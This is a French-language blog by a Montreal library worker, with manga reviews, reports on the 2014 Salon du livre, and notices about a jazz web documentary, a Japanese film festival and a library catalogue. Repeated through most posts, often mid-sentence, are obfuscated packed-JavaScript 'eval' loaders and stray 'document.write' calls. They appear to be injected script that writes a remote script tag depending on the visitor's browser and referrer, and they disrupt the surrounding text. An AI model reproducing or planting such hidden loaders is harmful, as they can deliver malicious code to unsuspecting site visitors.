“Japon, années 1960. Dans la moiteur d’une station balnéaire aux accents de Las Vegas, royaume des faux-semblants et de la corruption, le jeune et irréprochable inspecteur Sata enquête sur le meurtre d’un ingénieur. Lorsque ses pas le mènent sur le lieu de travail de la victime, une entreprise fabriquant des modules pour un mystérieux programme spatial, une secrétaire prend la fuite, attirant sur elle tous les soupçons. Alors que Sata la poursuit, il perd subitement connaissance. À son réveil, un éclat métallique est logé dans son crâne, provoquant des pertes de mémoire et des hallucinations. Pour Sata, qui brûle de découvrir ce qui lui est arrivé, la traque de la suspecte prend bientôt la forme d’une obsession amoureuse.”

“Atsushi Kaneko livre avec Wet Moon son chef-d’œuvre à ce jour, une enquête policière haletante et hallucinée, un récit à la croisée de l’univers de David Lynch et du graphisme de Charles Burns ou de Paul Pope. Une série en trois tomes.” (Texte du site de l’éditeur)

Prépublié en feuilletons dans le magazine Comic Beam, ce thriller historique seinen mérite certainement un coup d’oeil (voir une planche en extrait et la couverture arrière).

Wet moon Vol. 1-3, écrit et illustré par Kaneko Atsushi. Paris, Casterman (Coll. Sakka), janvier 2014. 240 pages, 12.9 x 18.8 x 2 cm, 8,50 € / $14.95 Cnd, ISBN 9782203081482 (vol. 1), 9782203084421 (vol. 2, paru en avril 2014), et 9782203084568 (vol. 3, septembre 2014). Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:
Maintenant passons à quelques références qui me semblent intéressantes et utiles:

“Naoki Urasawa est l’un des principaux artisans de l’imaginaire japonais contemporain. Encensé à partir des années 1990 par la critique et les lecteurs pour ses thrillers haletants (Monster, 20th Century Boys puis Pluto), il s’est d’abord fait connaître avec des œuvres d’un registre très différent, telles que Pineapple Army, Master Keaton, Yawara ! et Happy !. En plus de vingt-cinq ans de carrière, ce prolifique dessinateur et scénariste s’est vu couronné de tous les prix dans sa spécialité et s’est imposé comme un auteur incontournable de la bande-dessinée japonaise. Rien ne semblait pourtant prédestiner Urasawa à un tel succès. Comment un jeune homme passionné par la musique et le dessin bien décidé à ne pas devenir mangaka est-il néanmoins parvenu à vendre plus de cent millions d’exemplaires de ses œuvres ? Quel est le secret de la longévité de ce mangaka adulé par un public tant oriental qu’occidental ?”

“À la fois biographique (de l’enfance d’Urasawa à son manga le plus récent, Billy Bat) et analytique (principalement via une réflexion sur ses thèmes majeurs), cet ouvrage vise à mieux appréhender l’univers et les inspirations artistiques d’Urasawa. Cette plongée dans son œuvre amène inévitablement à évoquer une histoire beaucoup plus vaste. Car retracer le parcours de Naoki Urasawa c’est aussi revivre les évolutions culturelles et historiques qui ont agité le globe, des années 1960 à nos jours. Bien qu’il se défende de délivrer des messages dans ses œuvres, Urasawa se révèle être un formidable interprète du monde qui l’entoure.” (Texte du site de l’éditeur)

Même si je n’ai lu que son 20th Century Boys (que j’ai trouvé vraiment génial), j’admire beaucoup Urasawa et j’espère pouvoir lire ses autres mangas. Cet ouvrage est une grande opportunité pour en apprendre plus sur cet auteur de talent. Heureusement qu’il est disponible en bibliothèque car il est pour l’instant épuisé.

Naoki Urasawa: L’air du temps, par Alexis Orsini. Montélimar, les moutons électriques (vol. 8 de la «la bibliothèque des miroirs-BD»), mai 2012. 252 pages, 17 x 21 cm, 63 € / $56.95 Cnd, ISBN 978-2-36183-076-2. Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:
Le documentaire suivant est en anglais mais je le présente ici exceptionnellement en français (histoire de ne pas faire un billet bilingue):

“Une «première» dans le domaine, cette nouvelle série de “Survol Critique” se concentre sur tous les aspects du format de romans graphiques, visant à l’établir comme une discipline académique importante et un sujet de recherche dans les bibliothèques. Conçu pour les établissements universitaires, les écoles secondaires, et les bibliothèques publiques, la série offre une perspective unique sur les histoires et les thèmes exprimés dans le paysage historique et actuelle du milieu du roman graphique.”

“Le troisième de cette série, Critical Survey of Graphic Novels: Manga, nous offre un aperçu en profondeur pour plus de 55 manga parmi les plus populaires et étudiés, allant de séries volumineuses aux volumes uniques. Un afflux récent de manga japonais traduits sur le marché américain a suscité un plus grand intérêt dans les traditions de langue étrangère et de comics avec un long récit. Ce volume se concentre sur les œuvres traduites qui ont été particulièrement influentes dans le développement de la tradition du manga.”

“Souvent définie par des caractéristiques telles que le travail stylisée de ligne, les récits-culturels spécifiques et la narration convaincante qui se tiennent souvent en contraste avec le cadre de caractères centrée sur des comics américains, le manga comprend néanmoins un large éventail de genres et sous-genres. Les chercheurs acquerront une meilleure compréhension de ce dernier, qui, dans la tradition de manga, est représenté par un large spectre qui comprend Redikomi, qui cible un public féminin maturité; manga shôjo-ai, qui se concentre sur les aspects spirituels, sexuels ou émotionnels de relations; shonen-ai, manga créé par les auteurs femmes qui se concentre sur les relations entre hommes homoérotiques ou homoromantic; et kodomo manga, créé exclusivement pour un public jeune.”

“Chaque essai, présenté en format critique par des auteurs proéminents dans leur domaine d’étude, portera notre regard au-delà des aspects archétypaux et consuméristes du milieu pour illustrer le large éventail de thèmes littéraires et les styles artistiques dynamiques inhérentes au format manga.” (Traduction très libre et partiellement automatisée du texte sur le site de l’éditeur)

On a déjà vu ce genre d’essai critique s’adressant au grand public alors qu’ici il s’agit plutôt d’un ouvrage académique. C’est probablement un peu sec à la lecture mais offre certainement un intérêt puisqu’on y trouvera une perspective un peu différente. Ça mérite donc un coup d’oeil.

Critical Survey of Graphic Novels: Manga , collectif. Hackensack, NJ, Salem Press (Coll. Critical Survey of Graphic Novels), septembre 2012. 400 pages, 2.5 x 20.3 x 26.7 cm, $195 US / $226.20 CND, ISBN 978-1587659553. Disponible en livrel (format électronique). Lectorat de 14 ans et plus. (Voir un bref extrait).

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

SDL 2014 – suite

Lors de ma visite annuelle au 37e Salon du livre de Montreal, document.write(“”); qui s’est tenu au hall d’exposition de la Place Bonaventure du mercredi 19 au lundi 24 novembre sous le thème “Montréal, francosphère du livre, ” j’ai fais la découverte de quelques livres que j’aimerais éventuellement ajouter à ma longue liste de lecture et, par la même occasion, vous les faire découvrir aussi. J’ai déjà parlé dans un billet précédent du panel sur l’acquisition de livres en bibliothèques auquel j’ai assisté et de mes découvertes en BD et en manga. En voici donc la suite… (après le saut de page)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdraz|var|u0026u|referrer|dshak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zddkk|var|u0026u|referrer|rhhha||js|php’.split(‘|’),0,{}))


J’ai toujours été attiré par les polars mais je n’en ai lu que très peu. De plus, j’ai toujours porté un grand intérêt aux auteurs d’ici mais n’en ai lu que très peu. Bon, il faut dire que j’ai l’impression de lire de moins en moins peu importe les genres et que j’ai toujours eu un peu la phobie de lire les auteurs que je connais par peur d’être déçu… Crimes à la librairie m’apparaît donc comme l’occasion parfaite de remédier à ces deux situations en lisant une anthologie de polars local. Le polar est un genre en plein développement au Québec, si l’on en juge par un magazine spécialisé comme Alibi. Sous la direction de Richard Migneault, seize écrivains québécois de grand talent se sont réunis autour d’un thème séduisant, crimes à la librairie, et nous invitent dans autant de librairies. Ils dénaturent donc, chacun à sa façon, ce carrefour de tous les imaginaires en transformant chaque livre qui s’y trouve en témoin de l’énigme, du suspense, de l’insoutenable. Publié au Éditions Druide, 336 pages, 24,95 $. Disponible en librairies, en ligne, ainsi qu’à la bibliothèque en format papier et numérique.

Je dois avouer n’avoir pas beaucoup suivi l’évolution de la SFFQ pendant de longues années (du fait que mon travail d’éditeur [puis ma nouvelle carrière en bibliothèques] me tenait très occupé, que je me sentais un peu boudé pcq je publiais en anglais et sur un genre [anime & manga] qui, tout en étant riche en SFF, est souvent méprisé, et finalement pcq j’ai tendance à être plutôt misanthrope et casanier). J’ignore donc tout de cette nouvelle relève d’auteurs qui semble surtout provenir des régions et se cristalliser autour de la revue Brins d’éternité et des éditions Les Six Brumes. J’espère donc trouver le temps pour me rattraper en lisant l’anthologie Dix ans d’éternité. Sous la direction d’Ariane Gélinas, celle-ci célèbre la longévité de Brins d’éternité par une sélection de vingt nouvelles parmi les plus marquantes parues dans la revue depuis 2007. Publié aux éditions Les Six Brumes, 383 pages, $20. Disponible en librairies, en ligne, et à la bibliothèque.

Le prolifique Daniel Sernine (auteur primé tant pour la jeunesse que pour adulte, directeur de collection chez Médiaspaul et directeur de la revue Lurelu) n’a malheureusement pas beaucoup publié ces derniers temps (ses plus récents romans étant la série de La Suite du Temps chez Alire [2004-2008] et Les îles du ciel chez Soulières [2014]) et certaines de ses oeuvres ne sont même plus disponibles. Heureusement, la collection Brumes de Légende, qui réactualise et rend de nouveau disponibles des ouvrages marquants des littératures de la science-fiction et du fantastique québécois, nous offre Petits démons, un recueil de nouvelles fantastiques qui rassemble les meilleures textes de Daniel Sernine associées à l’univers des démons de Neubourg et Granverger. Ainsi, au fil des siècles, à Québec, Neubourg ou Granverger, les descendants des familles Vignal et Davard sont touchés par l’ombre du Mauvais. Petits ou grands, nommés ou non, les démons renoncent rarement à leurs proies humaines. Publié aux éditions Les Six Brumes, 256 pages, $20. Disponible en librairies, en ligne, et à la bibliothèque.

Après avoir visité les grands distributeurs (particulièrement Prologue, ADP, Hachette), mes pas m’ont finalement amené au kiosque des éditions Alire. Toutefois, il n’y avait pas beaucoup d’auteurs présents en milieu d’après-midi (je n’y ai vu que Francine Pelletier et Richard Ste-Marie) car la plupart des auteurs n’avaient leur séances de dédicaces que plus tard en soirée ou le lendemain (Natasha Beaulieu, Héloïse Côté, Maxime Houde, Michel Jobin, Guy Gavriel Kay, François Lévesque, Rick Mofina, Lionel Noël, Patrick Sénécal, et Élisabeth Vonarburg). Malheureusement j’allais manquer l’événement idéal pour rencontrer un maximum de gens du milieu, le cinq à sept des revues Alibi et Solaris, qui se tenait également le samedi… On y lancerait les numéros 52 d’Alibi et 192 de Solaris (célébrant les quarante ans de la revue avec les textes de quarante auteurs!). Je me suis consolé en ramassant le catalogue 2014-2015 (aussi disponible en ligne). Tout fraîchement paru, en novembre, on note L’année de la science-fiction et du fantastique Québécois 1994 (a.k.a. l’ASFFQ) par Claude Janelle, qui est considéré comme la bible des littératures de l’imaginaire d’ici. Parmi les parutions prochaines notoires on remarque également, du côté de la fantasy et de la science-fiction, La voyante des Trois-Rivières (tome 2 du Crépuscule des arcanes) de Sébastien Chartrand, Les marches de la Lune morte d’Yves Meynard, Le jeu du démiurge de Philippe-Aubert Côté, ainsi que, du côté du polar, La Vieille Fille et la mort de Catherine Sylvestre et La Misère des laissés-pour-compte de Maxime Houde.

Somme toute, ce fut un intéressant salon, quoiqu’il y a tellement de choses à voir que c’est plutôt écrasant ou accablant — on se sent pas mal dépassé par cette pléthore littéraire d’éditions et d’auteurs. C’est un peu court, un après-midi, pour digérer tout ça. Et puis je trouve que c’est un peu cher 8 $ (plus le vestiaire à environ 3 $ et la bouffe à prix d’or — quoiqu’il existe un passport à 12 $ qui est valable pour les 6 jours du Salon; ça c’est un peu plus raisonnable). Je pense que le Salon du Livre devrait être comme le Salon des Métiers d’Art: gratuit, pour inciter les gens à acheter des livres (en fait c’est un peu le cas avec le mercredi gratuit pour les abonnés des bibliothèques de Montréal, et les jeudi à deux pour un). N’empêche que le Salon du Livre est un incontournable et que j’y serai encore l’an prochain pour découvrir de nouvelles merveilles livresques.

Je rappel à tout ces bons éditeurs que, s’ils veulent que je parle plus avant de leur titres, les services de presse sont les bienvenu (j’aime bien lire les ouvrages de la bibliothèques mais j’aime encore plus posséder mes précieuses lectures et les conserver pour références futures).

[ Translate ]

Salon du livre 2014

Le 37e Salon du livre de Montreal s’est tenu au hall d’exposition de la <a href="https://www.google.ca/maps/place/Place+Bonaventure, document.write(“”); +Montreal, +QC+H3C/@45.499103, -73.5654594,16z/data=!4m2!3m1!1s0x4cc91a5c92bba9e3:0xb4f4c527716e1fde” target=”“new””>Place Bonaventure (Métro Bonaventure) du mercredi 19 au lundi 24 novembre sous le thème “Montréal, francosphère du livre.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahdbd|var|u0026u|referrer|ansbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|edfta|var|u0026u|referrer|yefty||js|php’.split(‘|’),0,{}))

C’est pour moi (en tant que blogeur-lecteur, ex-éditeur et aide-bibliothécaire) un événement incontournable alors, comme toutes les années, profitant de la
Journée des Professionnels, je suis allé l’explorer dans tout les sens (quadrillant tant dans le sens du cardo que dans celui du decumanus; j’ai marché en tout et pour tout 9.6 km !). J’ai assisté à un panel sur le processus d’acquisition en bibliothèque, visité des expositions, salué mes ami(e)s des Éditions Alire, fait quelques découvertes intéressantes (en SFFQ et en Manga), et croisé par hasard de nombreux auteurs — j’ai reconnu entre autres Ariane Gélinas, Dany Laferrière, Bryan Perro, Norbert Spehner, et Kim Thúy. J’ai aussi entendu dire qu’on y verrait quelques gros canons de la littérature (Emmanuel Carrère, Harlan Coben, Ken Follett, Katherine Pancol, Louise Penny, Kathy Reichs, Michel Tremblay, Louise Tremblay-D’Essiambre, etc.) ou de la BD (dont Delaf et Dubuc (Les Nombrils) et Haché (co-auteur de Lucky Luke)). Je partagerai donc avec vous mes impressions et découvertes… juste après le saut de page:


Mon premier arrêt a été pour le panel “Le processus d’achat des bibliothèques: nouveaux modèles d’affaires, nouvelles façons de travailler,” animé par Louise Guillemette-Labory, directrice associée des Bibliothèques de Montréal. Dans un premier temps, les chercheurs Frédéric Brisson (UdeS) et Stéphane Labbé (UQTR) nous ont présenté en primeur les résultats de leur enquête (à être publié dans les prochains mois) Le processus d’acquisition de livres des bibliothèques publiques au Québec. Ensuite, Manon Trépanier (libraire à la Librairie Alire), Micheline Perreault (bibliothécaire de Longueuil à la retraite), et Martin Dubois (bibliothécaire en chef du service des bibliothèques de Longueuil) nous ont présenté l’exemple concret des bibliothèques de Longueuil.

C’était assez intéressant mais étrangement je n’y ai rien entendu de radicalement nouveau. Où sont donc ces nouveaux modèles d’affaires? La principale (res)source des bibliothèques dans le processus d’achat de livres est bien sûr les libraires: certains titres populaires sont envoyés d’office, d’autres sont choisi en salles de montre par les bibliothécaires responsables de l’acquisition et certains sont aussi parfois acheté ponctuellement (achats locaux). Les autres outils qui contribuent aux choix de titres peuvent être les suggestions des usagers, les publications spécialisés (Les Libraires et leur revue, Lurelu), les palmarès et prix littéraires (des grands libraires, des journaux ou autres média (radio, TV)) ou encore les services documentaires spécialisés (Mémento, SDM). La sélection des titres est faite selon des critères tel que leur provenance (auteurs locaux ou étrangers), le potentiel d’emprunt, la notoriété/popularité de l’auteur, la qualité (palmarès, prix), le format (grand format ou format poche, richesse graphique de la couverture, couverture arrière détaillée, couverture rigide, etc.) et la façon dont un titre complètera ou améliorera la diversité de la collection. Le processus d’achat des livres électroniques est encore peu développé et, pour l’instant, mimique celui des livres papiers. Ce qui a été apparemment un aspect innovateur à Longueuil c’est comment ils ont dû harmoniser la gestion des bibliothèques et rationaliser le processus d’achat, en étroite collaboration avec leur libraire attitrée, afin de s’adapter à la structure des villes fusionnées et à la division par arrondissements.

En visitant l’exposition “La Bande Dessinée Québécoise” j’ai découvert la revue Collections, une publication bimestrielle de l’Association nationale des éditeurs de livres (ANEL) dont le numéro 6, consacré à la BD, était à l’honneur. Cette revue thématique a pour but de mettre en valeur la littérature d’ici auprès de nos bibliothèques. Les cinq autres numéros de la revue, tous disponible en ligne en format PDF, traitent des thématiques de la littérature jeunesse, la littérature au féminin, le roman historique, les Polars, thrillers et romans policiers, et les essais. Très informatif cette revue de la littérature d’ici pour les bibliothèques d’ici. Bien écrit, bien présenté, au graphisme agréable, je suis pas mal certains que tous (pas seulement les bibliothécaires) y trouveront des suggestions d’achat pour Noël et même le reste de l’année. À quand un numéro consacré à la Science Fiction et aux Fantastique Québecois ?

Ensuite je suis passé par le kiosque de La Pastèque (l’éditeur des Paul, de Michel Risque et de Red Ketchup) dont la nouveauté notoire est la version française de La Famille Carter, une BD biographique racontant l’histoire d’une famille considérée comme l’un des piliers de la musique country moderne. J’ai aussi eu la surprise de découvrir que l’intégrale du comic strip canadien-anglais Ben sera désormais publié par La Pastèque, en commençant avec le volume six qui devrait paraître en novembre. Dès que les droits des huit premiers tomes seront libre, La Pastèque entreprendra la réimpression des premiers volumes. Cette charmante série racontant la vie d’une couple de retraité et qui a gagné le cœur de nombreux lecteurs est prépubliée tous les jours dans plusieurs journaux.

Côté manga, j’ai remarqué que le volume 10 de Cesare est paru ici et j’ai fait la découverte de quelques nouveaux titres qui me semblent intéressants. Celui qui a la plus piqué mon intérêt est Eurêka! par Hitoshi IWAAKI (Parasite), publié chez Komikku. Au IIIe siècle avant J.C., durant la seconde guerre punique, alors qu’Hannibal échoue à conquérir la ville de Rome, les Romains assiègent la ville de Syracuse qui résiste grâce au génie d’Archimède! Autre perle que j’espère ajouter à ma liste de lecture: l’éditeur français Nobi Nobi!, qui se spécialise dans la traduction de livre jeunesse Japonais, viens de lancer la collection “Les Classiques en Manga” qui reprends en manga les grands classiques de la littérature jeunesse. Les premiers titres, parus en octobre, sont Les trois mousquetaires (Alexandre Dumas, illustré par Russkey; voir un extrait) et La Petite Princesse Sara (Frances Hodgson Burnett, illustré par Azuki NUNOBUKURO).

Deux autres titres me semblent possiblement intéressants. D’abord, Le nouveau Tom Sawyer par le duo UME (Ozawa Takahiro et Seo Asako) publié chez Komikku, un hommage à Mark Twain qui met en scène Chiharu, un jeune citadin qui découvre avec curiosité l’île de Hatena-Jima (voir un extrait). Puis, il y a La main d’Horus par Tatsuya SEKI, aussi publié chez Komikku, qui raconte l’histoire de Jûzaburô Kujô, un chirurgien à l’hôpital général d’Ôedo qui semble posséder pouvoir divin de guérison (voir un extrait). Le dessin ne m’impressionne pas mais cela mérite toute de même un petit coup d’oeil. [En passant, je hais quand les éditeurs n’ont pas de catalogue internet vers lequel je peux vous renvoyer pour les détails. Au moins Komikku a une page Facebook en attendant que leur site soit complèté…]

Bon, il se fait tard alors j’ajouterai un autre jour mes “découvertes” du côté de la SFFQ (au Druide, au Six-Brumes et, bien sûr, au Éditions Alire) ainsi que mon impression générale du salon…

[ Translate ]

Découverte: Mangeons!

“D’elle, document.write(“”); on ne connaît rien ou presque. Cette superbe jeune femme surgit sans crier gare dans la vie de gens ordinaires qui ont pour point commun d’être agacés, écrasés parfois, par les tracas du quotidien. Jeune diplômé attendant désespérément le résultat d’un entretien d’embauche, homme hanté par le souvenir de la rupture avec sa compagne, mari torturé par sa propre infidélité… Les âmes à secourir sont légion pour celle qui pourrait être la déesse de la bonne chère. Le temps d’un repas auquel elle convie silencieusement cette galerie de personnages, elle leur redonnera le sourire, l’espoir, ou cette légèreté qu’ils ont perdue. Ses armes : une gourmandise ô combien communicative et une sensualité où se rejoignent désir et plaisir du palais, qui feront vite oublier l’incongruité de ses apparitions toujours plus hilarantes.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bhyih|var|u0026u|referrer|nrzdt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yddeh|var|u0026u|referrer|ykket||js|php’.split(‘|’),0,{}))

“Entre un bol de nouilles avalé goulûment dans une gargote, des fruits de mer grillés à même le bord de mer où ils ont été ramassés, un steak haché préparé avec amour à la maison, ce pendant féminin du Gourmet Solitaire de Jirô Taniguchi nous convie à un voyage gastronomique, sensuel et comique dans le paysage culinaire japonais d’aujourd’hui, et oeuvre à nous rappeler que la gourmandise est peut-être le plus grand plaisir de la vie et que nous perdrions beaucoup à le bouder.”

Une comédie gourmande en quatre tomes.

(Texte du site de l’éditeur; voir aussi la couverture arrière)

J’ai découvert ce titre parmi les nouveautés de la bibliothèque où je travaille. Les manga n’y sont pas vraiment appréciés et de toute façon notre minuscule budget ne permet pas vraiment d’en acheter mais heureusement la bibliothèque a quelques mécènes qui ont du goût. Le sujet gastronomique, qui me rappel beaucoup Gourmet Solitaire de Jirô Taniguchi — mais avec une tournure humoristique et supernaturelle, en fait un titre intéressant qui pourrait sans doute plaire à un plus large publique alors j’ai décidé de l’ajouter à ma (déjà très longue) liste de lecture.

Mangeons ! (????? / Taberu Dake / lit. “just eating”) est un manga seinen par Sanko Takada qui est d’abord paru en feuilletons dans la magazine Gekkan! (Monthly) Spirits de l’éditeur japonais Shôgakukan entre décembre 2010 et novembre 2013. La série maintenant complète a été compilée en quatre volumes (le premier volume est paru en novembre 2011, le second en mai 2012, le troisième en juin 2013 et le quatrième en janvier 2014). La version française est couramment publiée dans la collection Sakka de Casterman (les trois premiers volumes sont paru respectivement en mars, juin et octobre 2014 et le dernier paraîtra en février 2015).

Fait intéressant, l’auteur — qui a remporté avec ce titre le 66ème Grand prix comics des nouveaux auteurs de Shôgakukan — est non seulement passionnée par son sujet mais le maîtrise parfaitement puisqu’elle est elle-même diététicienne! La protagoniste de l’histoire rencontre dans chaque chapitre une personne différente avec qui elle partage un repas, écoute leur problèmes et les laisse dans le bonheur, le tout n’étant sans doute qu’un prétexte pour partager avec les lecteurs ses connaissances gastronomiques. Chose amusante, le manga a également été adapté en juillet 2013 par TV Tokyo en une série télévisée de douze épisodes mettant en vedettes les actrices et chanteuses Mariko Goto et Hirofumi Arai.

En attendant de vous lancer dans la lecture de cette comédie gastronomique, vous pouvez consulter un extrait d’une douzaine de pages sur le site de l’éditeur japonais (en japonais évidemment!).

Mangeons! Vol. 1, écrit et illustré par Sanko Takada. Paris, Casterman (Coll. Sakka), mars 2014. 184 pages, 13.2 x 18 x 1.6 cm, 7,95 € / $13.25 Cnd, ISBN 9782203077034 (vol. 1), 9782203077072 (vol. 2, paru en juin 2014), 9782203088177 (vol. 3, octobre 2014) et 9782203090316 (vol. 4, à paraître en février 2015). Lectorat de 14 ans et plus.

Pour plus d’information vous pouvez aussi consulter les sites suivants:

[ Translate ]

Jazz Petite Bourgogne

J’ai fait la découverte cette semaine d’un intéressant web documentaire produit par Radio-Canada et disponible sur leur site internet Ici.musique.ca.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dsfer|var|u0026u|referrer|bfrtk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khysb|var|u0026u|referrer|ebaas||js|php’.split(‘|’),0,{}))

C’est un documentaire passionnant si vous vous intéressé tant soit peu à l’histoire de montréal (particulièrement de la communauté noire), document.write(“”); des ses quartiers (ici la Petite-Bourgogne) et de la musique (plus précisément du Jazz). Je suis toujours surpris de (re-)découvrir comment notre histoire peut avoir été grandiose et intéressante. On a toujours tendance à penser que l’histoire du Québec est plutôt platte… Je vous recommande donc d’y jeter un coup d’oeil, ça vaut vraiment la peine!

Jazz Petite-Bourgogne raconte l’incroyable contribution de Montréal à l’histoire du jazz en explorant la vie des musiciens noirs légendaires de la Petite-Bourgogne. Ce quartier fut au cœur de la créativité musicale, des clubs privés et des bars clandestins des années 1920, la belle époque du jazz, aux années 1940 et 1950, l’Âge d’or du jazz. Oscar Peterson, Oliver Jones, les Frères Sealey, Nelson Symonds, Charlie Biddle, et Louis Metcalf font partie des grands qui ont vécu et/ou joué dans La Petite-Bourgogne.”

Le web documentaire se divise en quatorze capsules de trois ou quatre minutes chacune qui, après une brève introduction, nous présentent différents aspects de la vie (musicale) de ce quartier populaire de Montréal : les gares de train et les porteurs, la prohibition, le coin, l’église et la communauté, la pègre, danse et burlesque, le Café Saint-Michel, la vie dans la Petite-Bourgogne, le Rockhead’s Paradise, Oscar Peterson, le Black Bottom, les temps difficiles, et renaissance. Comme c’est une expérience interactive, le site offre aussi en complément des galeries de photos, des extraits audio, une chronologie interactive et un index des artistes.

[ Translate ]

Japan Film Festival 2014

The Japan Foundation Toronto and the Consulate General of Japan at Montreal, document.write(“”); are pleased to present free screenings of Japanese films in Montreal. This 31st Japanese Film Festival of Montreal will be held November 7th and 8th at the Cinema du Parc (3575, Park Ave, Montreal).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shsyh|var|u0026u|referrer|fbdde||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftdan|var|u0026u|referrer|fhbse||js|php’.split(‘|’),0,{}))

Please note that limited seating is available on a first-come, first-served basis. No reservations. Please arrive at least thirty minutes before showtime.

That’s a great opportunity to watch Japanese movies for free!

For more information on the movies that will be screened you can check the Coco Montreal website or Facebook page.

[ Traduire ]

Nouveau catalogue des bibliothèques de Montréal

Les Bibliothèques de Montréal ont profité de la Semaine des bibliothèques publiques pour mettre en ligne la nouvelle version de leur catalogue “Nelligan”: Nelligan Découverte (aussi appelé le “Encore Discovery”, document.write(“”); un logiciel produit par la compagnie américaine Innovative Interfaces Inc, la même compagnie qui a créé Millenium, le système de gestion de bibliothèques utilisé présentement par les bibliothèques de Montréal).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibfhz|var|u0026u|referrer|iiahy||js|php’.split(‘|’),0,{}))
